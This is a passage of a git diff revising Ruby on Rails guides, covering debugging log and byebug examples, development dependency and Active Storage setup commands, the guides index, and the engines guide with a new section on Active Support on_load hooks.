Here's an example of the log generated when this controller action is executed:
```
-Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
- Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
- Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
- "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
- "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
-New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
- "published"=>false, "created_at"=>nil}
+Started POST "/articles" for 127.0.0.1 at 2017-08-20 20:53:10 +0900
+Processing by ArticlesController#create as HTML
+ Parameters: {"utf8"=>"✓", "authenticity_token"=>"xhuIbSBFytHCE1agHgvrlKnSVIOGD6jltW2tO+P6a/ACjQ3igjpV4OdbsZjIhC98QizWH9YdKokrqxBCJrtoqQ==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, "commit"=>"Create Article"}
+New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>false, "created_at"=>nil, "updated_at"=>nil}
Article should be valid: true
- Article Create (0.000443) INSERT INTO "articles" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+ (0.1ms) BEGIN
+ SQL (0.4ms) INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES ($1, $2, $3, $4, $5) RETURNING "id" [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs!!!"], ["published", "f"], ["created_at", "2017-08-20 11:53:10.010435"], ["updated_at", "2017-08-20 11:53:10.010435"]]
+ (0.3ms) COMMIT
The article was saved and now the user is going to be redirected...
-Redirected to # Article:0x20af760>
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
+Redirected to http://localhost:3000/articles/1
+Completed 302 Found in 4ms (ActiveRecord: 0.8ms)
```
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
@@ -313,7 +313,7 @@ For example:
```bash
=> Booting Puma
-=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
+=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
@@ -401,7 +401,7 @@ To see the previous ten lines you should type `list-` (or `l-`).
7 byebug
8 @articles = Article.find_recent
9
- 10 respond_to do |format|
+ 10 respond_to do |format|
```
This way you can move inside the file and see the code above the line where you
@@ -445,11 +445,11 @@ then `backtrace` will supply the answer.
--> #0 ArticlesController.index
at /PathToProject/app/controllers/articles_controller.rb:8
#1 ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
- at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/basic_implicit_render.rb:4
+ at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4
#2 AbstractController::Base.process_action(action#NilClass, *args#Array)
- at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:181
+ at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181
#3 ActionController::Rendering.process_action(action, *args)
- at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:30
+ at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30
...
```
@@ -461,7 +461,7 @@ context.
```
(byebug) frame 2
-[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb
+[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb
176: # is the intended way to override action dispatching.
177: #
178: # Notice that the first argument is the method to be dispatched
@@ -485,7 +485,7 @@ stack frames.
### Threads
-The debugger can list, stop, resume and switch between running threads by using
+The debugger can list, stop, resume, and switch between running threads by using
the `thread` command (or the abbreviated `th`). This command has a handful of
options:
@@ -540,8 +540,8 @@ command later in this guide).
7 byebug
8 @articles = Article.find_recent
9
-=> 10 respond_to do |format|
- 11 format.html # index.html.erb
+=> 10 respond_to do |format|
+ 11 format.html # index.html.erb
12 format.json { render json: @articles }
13 end
14 end
@@ -606,7 +606,6 @@ You can also inspect for an object method this way:
@new_record = true
@readonly = false
@transaction_state = nil
-@txn = nil
```
You can also use `display` to start watching variables. This is a good way of
@@ -677,7 +676,7 @@ Ruby instruction to be executed -- in this case, Active Support's `week` method.
```
(byebug) step
-[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb
+[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb
49:
50: # Returns a Duration instance matching the number of weeks provided.
51: #
@@ -778,7 +777,7 @@ deleted when that breakpoint is reached.
* `finish [n]`: execute until the selected stack frame returns. If no frame
number is given, the application will run until the currently selected frame
returns. The currently selected frame starts out the most-recent frame or 0 if
-no frame positioning (e.g up, down or frame) has been performed. If a frame
+no frame positioning (e.g up, down, or frame) has been performed. If a frame
number is given it will run until the specified frame returns.
### Editing
@@ -876,7 +875,7 @@ location of the `console` call; it won't be rendered on the spot of its
invocation but next to your HTML content.
The console executes pure Ruby code: You can define and instantiate
-custom classes, create new models and inspect variables.
+custom classes, create new models, and inspect variables.
NOTE: Only one console can be rendered per request. Otherwise `web-console`
will raise an error on the second `console` invocation.
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index 7ec038eb4d..07538a1cb7 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Development Dependencies Install
================================
@@ -21,24 +21,25 @@ The easiest and recommended way to get a development environment ready to hack i
The Hard Way
------------
-In case you can't use the Rails development box, see section below, these are the steps to manually build a development box for Ruby on Rails core development.
+In case you can't use the Rails development box, see the steps below to manually
+build a development box for Ruby on Rails core development.
### Install Git
-Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+Ruby on Rails uses Git for source code control. The [Git homepage](https://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
-* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
-* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git.
-* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
-* [GitHub](http://help.github.com) offers links to a variety of Git resources.
-* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+* [Try Git course](https://try.github.io/) is an interactive course that will teach you the basics.
+* The [official Documentation](https://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git.
+* [Everyday Git](https://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* [GitHub](https://help.github.com/) offers links to a variety of Git resources.
+* [Pro Git](https://git-scm.com/book) is an entire book about Git with a Creative Commons license.
### Clone the Ruby on Rails Repository
Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
```bash
-$ git clone git://github.com/rails/rails.git
+$ git clone https://github.com/rails/rails.git
$ cd rails
```
@@ -62,7 +63,7 @@ $ sudo apt-get install sqlite3 libsqlite3-dev
If you are on Fedora or CentOS, you're done with
```bash
-$ sudo yum install sqlite3 sqlite3-devel
+$ sudo yum install libsqlite3x libsqlite3x-devel
```
If you are on Arch Linux, you will need to run:
@@ -79,7 +80,7 @@ For FreeBSD users, you're done with:
Or compile the `databases/sqlite3` port.
-Get a recent version of [Bundler](http://bundler.io/)
+Get a recent version of [Bundler](https://bundler.io/)
```bash
$ gem install bundler
@@ -96,7 +97,7 @@ This command will install all dependencies except the MySQL and PostgreSQL Ruby
NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
-You can use [Homebrew](http://brew.sh/) to install memcached on OS X:
+You can use [Homebrew](https://brew.sh/) to install memcached on macOS:
```bash
$ brew install memcached
@@ -181,7 +182,7 @@ The Active Record test suite requires a custom config file: `activerecord/test/c
To be able to run the suite for MySQL and PostgreSQL we need their gems. Install
first the servers, their client libraries, and their development files.
-On OS X, you can run:
+On macOS, you can run:
```bash
$ brew install mysql
@@ -190,7 +191,7 @@ $ brew install postgresql
Follow the instructions given by Homebrew to start these.
-In Ubuntu just run:
+On Ubuntu, just run:
```bash
$ sudo apt-get install mysql-server libmysqlclient-dev
@@ -260,34 +261,34 @@ with your development account, on Linux or BSD, you just have to run:
$ sudo -u postgres createuser --superuser $USER
```
-and for OS X:
+and for macOS:
```bash
$ createuser --superuser $USER
```
-Then you need to create the test databases with
+Then, you need to create the test databases with:
```bash
$ cd activerecord
$ bundle exec rake db:postgresql:build
```
-It is possible to build databases for both PostgreSQL and MySQL with
+It is possible to build databases for both PostgreSQL and MySQL with:
```bash
$ cd activerecord
$ bundle exec rake db:create
```
-You can cleanup the databases using
+You can cleanup the databases using:
```bash
$ cd activerecord
$ bundle exec rake db:drop
```
-NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+NOTE: Using the Rake task to create the test databases ensures they have the correct character set and collation.
NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
@@ -299,11 +300,11 @@ Action Cable uses Redis as its default subscriptions adapter ([read more](action
#### Install Redis From Source
-Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](http://redis.io/download#installation).
+Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](https://redis.io/download#installation).
#### Install Redis From Package Manager
-On OS X, you can run:
+On macOS, you can run:
```bash
$ brew install redis
@@ -311,7 +312,7 @@ $ brew install redis
Follow the instructions given by Homebrew to start these.
-In Ubuntu just run:
+On Ubuntu, just run:
```bash
$ sudo apt-get install redis-server
@@ -323,7 +324,7 @@ On Fedora or CentOS (requires EPEL enabled), just run:
$ sudo yum install redis
```
-If you are running Arch Linux just run:
+If you are running Arch Linux, just run:
```bash
$ sudo pacman -S redis
@@ -335,3 +336,92 @@ FreeBSD users will have to run the following:
```bash
# portmaster databases/redis
```
+
+### Active Storage Setup
+
+When working on Active Storage, it is important to note that you need to
+install its JavaScript dependencies while working on that section of the
+codebase. In order to install these dependencies, it is necessary to
+have Yarn, a Node.js package manager, available on your system. A
+prerequisite for installing this package manager is that
+[Node.js](https://nodejs.org) is installed.
+
+
+On macOS, you can run:
+
+```bash
+$ brew install yarn
+```
+
+On Ubuntu, you can run:
+
+```bash
+$ curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+$ echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
+
+$ sudo apt-get update && sudo apt-get install yarn
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.repo
+
+$ sudo yum install yarn
+```
+
+Finally, after installing Yarn, you will need to run the following
+command inside of the `activestorage` directory to install the dependencies:
+
+```bash
+$ yarn install
+```
+
+Extracting previews, tested in Active Storage's test suite requires third-party
+applications, ImageMagick for images, FFmpeg for video and muPDF for PDFs, and on macOS also XQuartz
+and Poppler. Without these applications installed, Active Storage tests will
+raise errors.
+
+On macOS you can run:
+
+```bash
+$ brew install ffmpeg
+$ brew install imagemagick
+$ brew cask install xquartz
+$ brew install mupdf-tools
+$ brew install poppler
+```
+
+On Ubuntu, you can run:
+
+```bash
+$ sudo apt-get update
+$ sudo apt-get install ffmpeg
+$ sudo apt-get install imagemagick
+$ sudo apt-get install mupdf mupdf-tools
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install ffmpeg
+$ sudo yum install imagemagick
+$ sudo yum install mupdf
+```
+
+FreeBSD users can just run:
+
+```bash
+# pkg install imagemagick
+# pkg install ffmpeg
+# pkg install mupdf
+```
+
+On Arch Linux, you can run:
+
+```bash
+$ sudo pacman -S ffmpeg
+$ sudo pacman -S imagemagick
+$ sudo pacman -S mupdf mupdf-tools
+$ sudo pacman -S poppler
+```
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 2925fb4b58..8f2312458d 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -65,17 +65,13 @@
url: routing.html
description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
-
- name: Digging Deeper
+ name: Other Components
documents:
-
name: Active Support Core Extensions
url: active_support_core_extensions.html
description: This guide documents the Ruby core extensions defined in Active Support.
-
- name: Rails Internationalization API
- url: i18n.html
- description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.
- -
name: Action Mailer Basics
url: action_mailer_basics.html
description: This guide describes how to use Action Mailer to send and receive emails.
@@ -84,6 +80,22 @@
url: active_job_basics.html
description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs.
-
+ name: Active Storage Overview
+ url: active_storage_overview.html
+ description: This guide covers how to attach files to your Active Record models.
+ -
+ name: Action Cable Overview
+ url: action_cable_overview.html
+ description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features.
+
+-
+ name: Digging Deeper
+ documents:
+ -
+ name: Rails Internationalization (I18n) API
+ url: i18n.html
+ description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.
+ -
name: Testing Rails Applications
url: testing.html
description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to Integration Testing. Enjoy.
@@ -104,7 +116,7 @@
url: command_line.html
description: This guide covers the command line tools provided by Rails.
-
- name: Asset Pipeline
+ name: The Asset Pipeline
url: asset_pipeline.html
description: This guide documents the asset pipeline.
-
@@ -130,18 +142,9 @@
url: active_support_instrumentation.html
description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
-
- name: Profiling Rails Applications
- work_in_progress: true
- url: profiling.html
- description: This guide explains how to profile your Rails applications to improve performance.
- -
name: Using Rails for API-only Applications
url: api_app.html
description: This guide explains how to effectively use Rails to develop a JSON API application.
- -
- name: Action Cable Overview
- url: action_cable_overview.html
- description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features.
-
name: Extending Rails
@@ -156,7 +159,7 @@
url: rails_on_rack.html
description: This guide covers Rails integration with Rack and interfacing with other Rack components.
-
- name: Creating and Customizing Rails Generators
+ name: Creating and Customizing Rails Generators & Templates
url: generators.html
description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
-
@@ -164,6 +167,11 @@
url: engines.html
description: This guide explains how to write a mountable engine.
work_in_progress: true
+ -
+ name: Threading and Code Execution in Rails
+ url: threading_and_code_execution.html
+ description: This guide describes the considerations needed and tools available when working directly with concurrency in a Rails application.
+ work_in_progress: true
-
name: Contributing to Ruby on Rails
documents:
@@ -183,7 +191,7 @@
name: Maintenance Policy
documents:
-
- name: Maintenance Policy
+ name: Maintenance Policy for Ruby on Rails
url: maintenance_policy.html
description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
-
@@ -194,6 +202,19 @@
url: upgrading_ruby_on_rails.html
description: This guide helps in upgrading applications to latest Ruby on Rails versions.
-
+ name: Ruby on Rails 6.0 Release Notes
+ work_in_progress: true
+ url: 6_0_release_notes.html
+ description: Release notes for Rails 6.0.
+ -
+ name: Ruby on Rails 5.2 Release Notes
+ url: 5_2_release_notes.html
+ description: Release notes for Rails 5.2.
+ -
+ name: Ruby on Rails 5.1 Release Notes
+ url: 5_1_release_notes.html
+ description: Release notes for Rails 5.1.
+ -
name: Ruby on Rails 5.0 Release Notes
url: 5_0_release_notes.html
description: Release notes for Rails 5.0.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index 180a786237..1e93a19c84 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Getting Started with Engines
============================
@@ -14,6 +14,7 @@ After reading this guide, you will know:
* How to build features for the engine.
* How to hook the engine into an application.
* How to override engine functionality in the application.
+* Avoid loading Rails frameworks with Load and Configuration Hooks
--------------------------------------------------------------------------------
@@ -62,7 +63,7 @@ authentication for its parent applications, or
[Thredded](https://github.com/thredded/thredded), an engine that provides forum
functionality. There's also [Spree](https://github.com/spree/spree) which
provides an e-commerce platform, and
-[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+[Refinery CMS](https://github.com/refinery/refinerycms), a CMS engine.
Finally, engines would not have been possible without the work of James Adam,
Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
@@ -187,7 +188,7 @@ inside the application, performing tasks such as adding the `app` directory of
the engine to the load path for models, mailers, controllers, and views.
The `isolate_namespace` method here deserves special notice. This call is
-responsible for isolating the controllers, models, routes and other things into
+responsible for isolating the controllers, models, routes, and other things into
their own namespace, away from similar components inside the application.
Without this, there is a possibility that the engine's components could "leak"
into the application, causing unwanted disruption, or that important engine
@@ -201,7 +202,7 @@ within the `Engine` class definition. Without it, classes generated in an engine
**may** conflict with an application.
What this isolation of the namespace means is that a model generated by a call
-to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but
+to `rails g model`, such as `rails g model article`, won't be called `Article`, but
instead be namespaced and called `Blorgh::Article`. In addition, the table for the
model is namespaced, becoming `blorgh_articles`, rather than simply `articles`.
Similar to the model namespacing, a controller called `ArticlesController` becomes
@@ -312,13 +313,16 @@ The engine that this guide covers provides submitting articles and commenting
functionality and follows a similar thread to the [Getting Started
Guide](getting_started.html), with some new twists.
+NOTE: For this section, make sure to run the commands in the root of the
+`blorgh` engine's directory.
+
### Generating an Article Resource
The first thing to generate for a blog engine is the `Article` model and related
controller. To quickly generate this, you can use the Rails scaffold generator.
```bash
-$ bin/rails generate scaffold article title:string text:text
+$ rails generate scaffold article title:string text:text
```
This command will output this information:
@@ -345,6 +349,9 @@ invoke test_unit
create test/controllers/blorgh/articles_controller_test.rb
invoke helper
create app/helpers/blorgh/articles_helper.rb
+invoke test_unit
+create test/application_system_test_case.rb
+create test/system/articles_test.rb
invoke assets
invoke js
create app/assets/javascripts/blorgh/articles.js
@@ -423,7 +430,7 @@ Finally, the assets for this resource are generated in two files:
`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little
later.
-You can see what the engine has so far by running `bin/rails db:migrate` at the root
+You can see what the engine has so far by running `rails db:migrate` at the root
of our engine to run the migration generated by the scaffold generator, and then
running `rails server` in `test/dummy`. When you open
`http://localhost:3000/blorgh/articles` you will see the default scaffold that has
@@ -457,7 +464,7 @@ rather than visiting `/articles`. This means that instead of
Now that the engine can create new articles, it only makes sense to add
commenting functionality as well. To do this, you'll need to generate a comment
-model, a comment controller and then modify the articles scaffold to display
+model, a comment controller, and then modify the articles scaffold to display
comments and allow people to create new ones.
From the application root, run the model generator. Tell it to generate a
@@ -465,7 +472,7 @@ From the application root, run the model generator. Tell it to generate a
and `text` text column.
```bash
-$ bin/rails generate model Comment article_id:integer text:text
+$ rails generate model Comment article_id:integer text:text
```
This will output the following:
@@ -485,7 +492,7 @@ called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
table:
```bash
-$ bin/rails db:migrate
+$ rails db:migrate
```
To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and
@@ -533,12 +540,12 @@ directory at `app/views/blorgh/comments` and in it a new file called
```html+erb
<h3>New comment</h3>
-<%= form_for [@article, @article.comments.build] do |f| %>
+<%= form_with(model: [@article, @article.comments.build], local: true) do |form| %>
<p>
- <%= f.label :text %><br>
- <%= f.text_area :text %>
+ <%= form.label :text %><br>
+ <%= form.text_area :text %>
</p>
- <%= f.submit %>
+ <%= form.submit %>
<% end %>
```
@@ -559,7 +566,7 @@ The route now exists, but the controller that this route goes to does not. To
create it, run this command from the application root:
```bash
-$ bin/rails g controller comments
+$ rails g controller comments
```
This will generate the following things:
@@ -649,7 +656,7 @@ there isn't an application handy to test this out in, generate one using the
$ rails new unicorn
```
-Usually, specifying the engine inside the Gemfile would be done by specifying it
+Usually, specifying the engine inside the `Gemfile` would be done by specifying it
as a normal, everyday gem.
```ruby
@@ -691,17 +698,17 @@ pre-defined path which may be customizable.
The engine contains migrations for the `blorgh_articles` and `blorgh_comments`
table which need to be created in the application's database so that the
engine's models can query them correctly. To copy these migrations into the
-application run the following command from the `test/dummy` directory of your Rails engine:
+application run the following command from the application's root:
```bash
-$ bin/rails blorgh:install:migrations
+$ rails blorgh:install:migrations
```
If you have multiple engines that need migrations copied over, use
`railties:install:migrations` instead:
```bash
-$ bin/rails railties:install:migrations
+$ rails railties:install:migrations
```
This command, when run for the first time, will copy over all the migrations
@@ -719,7 +726,7 @@ timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
for this is so that the migrations for the engine are run after any existing
migrations in the application.
-To run these migrations within the context of the application, simply run `bin/rails
+To run these migrations within the context of the application, simply run `rails
db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
articles will be empty. This is because the table created inside the application is
different from the one created within the engine. Go ahead, play around with the
@@ -730,14 +737,14 @@ If you would like to run migrations only from one engine, you can do it by
specifying `SCOPE`:
```bash
-bin/rails db:migrate SCOPE=blorgh
+rails db:migrate SCOPE=blorgh
```
This may be useful if you want to revert engine's migrations before removing it.
To revert all migrations from blorgh engine you can run code such as:
```bash
-bin/rails db:migrate SCOPE=blorgh VERSION=0
+rails db:migrate SCOPE=blorgh VERSION=0
```
### Using a Class Provided by the Application
@@ -764,7 +771,7 @@ application:
rails g model user name:string
```
-The `bin/rails db:migrate` command needs to be run here to ensure that our
+The `rails db:migrate` command needs to be run here to ensure that our
application has the `users` table for future use.
Also, to keep it simple, the articles form will have a new text field called
@@ -779,8 +786,8 @@ added above the `title` field with this code:
```html+erb
<div class="field">
- <%= f.label :author_name %><br>
- <%= f.text_field :author_name %>
+ <%= form.label :author_name %><br>
+ <%= form.text_field :author_name %>
</div>
```
@@ -824,7 +831,7 @@ of associating the records in the `blorgh_articles` table with the records in th
To generate this new column, run this command within the engine:
```bash
-$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+$ rails g migration add_author_id_to_blorgh_articles author_id:integer
```
NOTE: Due to the migration's name and the column specification after it, Rails
@@ -836,7 +843,7 @@ This migration will need to be run on the application. To do that, it must first
be copied using this command:
```bash
-$ bin/rails blorgh:install:migrations
+$ rails blorgh:install:migrations
```
Notice that only _one_ migration was copied over here. This is because the first
@@ -851,7 +858,7 @@ Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blo
Run the migration using:
```bash
-$ bin/rails db:migrate
+$ rails db:migrate
```
Now with all the pieces in place, an action will take place that will associate
@@ -917,7 +924,7 @@ engine:
mattr_accessor :author_class
```
-This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+This method works like its siblings, `attr_accessor` and `cattr_accessor`, but
provides a setter and getter method on the module with the specified name. To
use it, it must be referenced using `Blorgh.author_class`.
@@ -978,7 +985,7 @@ Blorgh.author_class = "User"
WARNING: It's very important here to use the `String` version of the class,
rather than the class itself. If you were to use the class, Rails would attempt
to load that class and then reference the related table. This could lead to
-problems if the table wasn't already existing. Therefore, a `String` should be
+problems if the table didn't already exist. Therefore, a `String` should be
used and then converted to a class using `constantize` in the engine later on.
Go ahead and try to create a new article. You will see that it works exactly in the
@@ -994,7 +1001,7 @@ some sort of identifier by which it can be referenced.
#### General Engine Configuration
Within an engine, there may come a time where you wish to use things such as
-initializers, internationalization or other configuration options. The great
+initializers, internationalization, or other configuration options. The great
news is that these things are entirely possible, because a Rails engine shares
much the same functionality as a Rails application. In fact, a Rails
application's functionality is actually a superset of what is provided by
@@ -1016,11 +1023,11 @@ Testing an engine
When an engine is generated, there is a smaller dummy application created inside
it at `test/dummy`. This application is used as a mounting point for the engine,
to make testing the engine extremely simple. You may extend this application by
-generating controllers, models or views from within the directory, and then use
+generating controllers, models, or views from within the directory, and then use
those to test your engine.
The `test` directory should be treated like a typical Rails testing environment,
-allowing for unit, functional and integration tests.
+allowing for unit, functional, and integration tests.
### Functional Tests
@@ -1318,7 +1325,7 @@ engine.
Assets within an engine work in an identical way to a full application. Because
the engine class inherits from `Rails::Engine`, the application will know to
-look up assets in the engine's 'app/assets' and 'lib/assets' directories.
+look up assets in the engine's `app/assets` and `lib/assets` directories.
Like all of the other components of an engine, the assets should be namespaced.
This means that if you have an asset called `style.css`, it should be placed at
@@ -1357,8 +1364,8 @@ that only exists for your engine. In this case, the host application doesn't
need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
these assets. It doesn't make sense for the host app to include
`"blorgh/admin.css"` in its stylesheets. In this situation, you should
-explicitly define these assets for precompilation. This tells sprockets to add
-your engine assets when `bin/rails assets:precompile` is triggered.
+explicitly define these assets for precompilation. This tells Sprockets to add
+your engine assets when `rails assets:precompile` is triggered.
You can define assets for precompilation in `engine.rb`:
@@ -1410,3 +1417,115 @@ module MyEngine
end
end
```
+
+Active Support On Load Hooks
+----------------------------
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal utilities.
+
+Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as `ActiveRecord::Base`, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as `ActiveRecord::Base` on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.
+
+On Load hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.
+
+## What are `on_load` hooks?
+
+Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+This snippet means that when this file is loaded, it will encounter `ActiveRecord::Base`. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.
+
+`ActiveSupport.on_load` is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:
+
+```ruby
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper }
+```
+
+This new snippet will only include `MyActiveRecordHelper` when `ActiveRecord::Base` is loaded.
+
+## How does it work?
+
+In the Rails framework these hooks are called when a specific library is loaded. For example, when `ActionController::Base` is loaded, the `:action_controller_base` hook is called. This means that all `ActiveSupport.on_load` calls with `:action_controller_base` hooks will be called in the context of `ActionController::Base` (that means `self` will be an `ActionController::Base`).
+
+## Modifying code to use `on_load` hooks
+
+Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as `ActiveRecord::Base` you can wrap that code in an `on_load` hook.
+
+### Example 1
+
+```ruby
+ActiveRecord::Base.include(MyActiveRecordHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:active_record) { include MyActiveRecordHelper } # self refers to ActiveRecord::Base here, so we can simply #include
+```
+
+### Example 2
+
+```ruby
+ActionController::Base.prepend(MyActionControllerHelper)
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:action_controller_base) { prepend MyActionControllerHelper } # self refers to ActionController::Base here, so we can simply #prepend
+```
+
+### Example 3
+
+```ruby
+ActiveRecord::Base.include_root_in_json = true
+```
+
+becomes
+
+```ruby
+ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # self refers to ActiveRecord::Base here
+```
+
+## Available Hooks
+
+These are the hooks you can use in your own code.
+
+To hook into the initialization process of one of the following classes use the available hook.
+
+| Class | Available Hooks |
+| --------------------------------- | ------------------------------------ |
+| `ActionCable` | `action_cable` |
+| `ActionController::API` | `action_controller_api` |
+| `ActionController::API` | `action_controller` |
+| `ActionController::Base` | `action_controller_base` |
+| `ActionController::Base` | `action_controller` |
+| `ActionController::TestCase` | `action_controller_test_case` |
+| `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test` |
+| `ActionDispatch::SystemTestCase` | `action_dispatch_system_test_case` |
+| `ActionMailer::Base` | `action_mailer` |
+| `ActionMailer::TestCase` | `action_mailer_test_case` |
+| `ActionView::Base` | `action_view` |
+| `ActionView::TestCase` | `action_view_test_case` |
+| `ActiveJob::Base` | `active_job` |
+| `ActiveJob::TestCase` | `active_job_test_case` |
+| `ActiveRecord::Base` | `active_record` |
+| `ActiveSupport::TestCase` | `active_support_test_case` |
+| `i18n` | `i18n` |
+
+## Configuration hooks
+
+These are the available configuration hooks. They do not hook into any particular framework, but instead they run in context of the entire application.
+
+| Hook | Use Case |
+| ---------------------- | ---------------------------------------------------------------------------------- |
+| `before_configuration` | First configurable block to run. Called before any initializers are run. |
+| `before_initialize` | Second configurable block to run. Called before frameworks initialize. |
+| `before_eager_load` | Third configurable block to run. Does not run if `config.eager_load` set to false. |
+| `after_initialize` | Last configurable block to run. Called after frameworks initialize. |
+
+### Example
+
